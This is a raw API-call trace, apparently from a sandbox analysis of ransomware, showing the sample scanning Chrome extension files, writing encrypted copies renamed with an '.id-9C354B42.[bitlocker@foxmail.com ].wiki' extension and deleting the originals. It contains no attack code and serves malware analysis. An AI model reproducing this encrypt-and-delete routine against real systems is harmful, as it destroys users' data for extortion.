[0179.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.554] lstrlenW (lpString=".zip") returned 4 [0179.554] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.555] lstrlenW (lpString=".rar") returned 4 [0179.555] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.555] lstrlenW (lpString=".bz2") returned 4 [0179.555] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.555] lstrlenW (lpString=".7z") returned 3 [0179.555] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.555] lstrlenW (lpString=".dbf") returned 4 [0179.555] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.555] lstrlenW (lpString=".1cd") returned 4 [0179.555] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.555] lstrlenW (lpString=".jpg") returned 4 [0179.555] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.555] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0179.555] lstrlenW (lpString="128.png") returned 7 [0179.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0179.556] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=6159) returned 1 [0179.556] CloseHandle (hObject=0x19c) returned 1 [0179.556] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png")) returned 0x2020 [0179.556] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0179.556] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.556] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0179.557] GetLastError () returned 0x0 [0179.557] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x180f, lpOverlapped=0x0) returned 1 [0179.558] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1810, lpOverlapped=0x0) returned 1 [0179.885] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.885] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0179.885] SetEndOfFile (hFile=0x1b4) returned 1 [0179.885] CloseHandle (hObject=0x1b4) returned 1 [0179.885] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.885] SetEndOfFile (hFile=0x19c) returned 1 [0179.886] CloseHandle (hObject=0x19c) returned 1 [0179.886] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.886] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png")) returned 1 [0179.887] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.887] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.887] lstrlenW (lpString=".doc") returned 4 [0179.887] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0179.887] lstrlenW (lpString=".docx") returned 5 [0179.887] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0179.887] lstrlenW (lpString=".pdf") returned 4 [0179.887] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0179.887] lstrlenW (lpString=".xls") returned 4 [0179.887] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0179.887] lstrlenW (lpString=".xlsx") returned 5 [0179.887] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0179.887] lstrlenW (lpString=".ppt") returned 4 [0179.887] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0179.887] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.887] lstrlenW (lpString=".zip") returned 4 [0179.887] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0179.887] lstrlenW (lpString=".rar") returned 4 [0179.887] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0179.887] lstrlenW (lpString=".bz2") returned 4 [0179.887] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0179.887] lstrlenW (lpString=".7z") returned 3 [0179.887] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0179.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.888] lstrlenW (lpString=".dbf") returned 4 [0179.888] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0179.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.888] lstrlenW (lpString=".1cd") returned 4 [0179.888] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0179.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.888] lstrlenW (lpString=".jpg") returned 4 [0179.888] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0179.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.888] lstrlenW (lpString=".doc") returned 4 [0179.888] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0179.888] lstrlenW (lpString=".docx") returned 5 [0179.888] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0179.888] lstrlenW (lpString=".pdf") returned 4 [0179.888] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0179.888] lstrlenW (lpString=".xls") returned 4 [0179.888] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0179.888] lstrlenW (lpString=".xlsx") returned 5 [0179.888] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0179.888] lstrlenW (lpString=".ppt") returned 4 [0179.888] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0179.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.888] lstrlenW (lpString=".zip") returned 4 [0179.888] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0179.888] lstrlenW (lpString=".rar") returned 4 [0179.888] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0179.888] lstrlenW (lpString=".bz2") returned 4 [0179.889] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0179.889] lstrlenW (lpString=".7z") returned 3 [0179.889] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0179.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.889] lstrlenW (lpString=".dbf") returned 4 [0179.889] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0179.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.889] lstrlenW (lpString=".1cd") returned 4 [0179.889] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0179.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 133 [0179.889] lstrlenW (lpString=".jpg") returned 4 [0179.889] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0179.889] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.889] lstrlenW (lpString="messages.json") returned 13 [0179.889] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.041] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=256) returned 1 [0180.041] CloseHandle (hObject=0x320) returned 1 [0180.042] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json")) returned 0x2020 [0180.042] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.042] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.042] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.043] GetLastError () returned 0x0 [0180.043] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x100, lpOverlapped=0x0) returned 1 [0180.044] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0180.045] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.045] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.045] SetEndOfFile (hFile=0x198) returned 1 [0180.045] CloseHandle (hObject=0x198) returned 1 [0180.045] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.045] SetEndOfFile (hFile=0x320) returned 1 [0180.046] CloseHandle (hObject=0x320) returned 1 [0180.046] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.046] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json")) returned 1 [0180.046] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.046] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.046] lstrlenW (lpString=".doc") returned 4 [0180.046] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.046] lstrlenW (lpString=".docx") returned 5 [0180.046] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.046] lstrlenW (lpString=".pdf") returned 4 [0180.046] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.046] lstrlenW (lpString=".xls") returned 4 [0180.046] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.046] lstrlenW (lpString=".xlsx") returned 5 [0180.047] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.047] lstrlenW (lpString=".ppt") returned 4 [0180.047] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.047] lstrlenW (lpString=".zip") returned 4 [0180.047] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.047] lstrlenW (lpString=".rar") returned 4 [0180.047] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.047] lstrlenW (lpString=".bz2") returned 4 [0180.047] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.047] lstrlenW (lpString=".7z") returned 3 [0180.047] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.047] lstrlenW (lpString=".dbf") returned 4 [0180.047] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.047] lstrlenW (lpString=".1cd") returned 4 [0180.047] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.047] lstrlenW (lpString=".jpg") returned 4 [0180.047] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.047] lstrlenW (lpString=".doc") returned 4 [0180.047] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.047] lstrlenW (lpString=".docx") returned 5 [0180.047] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.047] lstrlenW (lpString=".pdf") returned 4 [0180.047] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.048] lstrlenW (lpString=".xls") returned 4 [0180.048] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.048] lstrlenW (lpString=".xlsx") returned 5 [0180.048] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.048] lstrlenW (lpString=".ppt") returned 4 [0180.048] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.048] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.048] lstrlenW (lpString=".zip") returned 4 [0180.048] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.048] lstrlenW (lpString=".rar") returned 4 [0180.048] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.048] lstrlenW (lpString=".bz2") returned 4 [0180.048] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.048] lstrlenW (lpString=".7z") returned 3 [0180.048] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.048] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.048] lstrlenW (lpString=".dbf") returned 4 [0180.048] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.048] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.048] lstrlenW (lpString=".1cd") returned 4 [0180.048] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.048] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 151 [0180.048] lstrlenW (lpString=".jpg") returned 4 [0180.048] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.048] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.048] lstrlenW (lpString="messages.json") returned 13 [0180.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.049] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=271) returned 1 [0180.049] CloseHandle (hObject=0x320) returned 1 [0180.049] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json")) returned 0x2020 [0180.049] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.049] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.049] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, 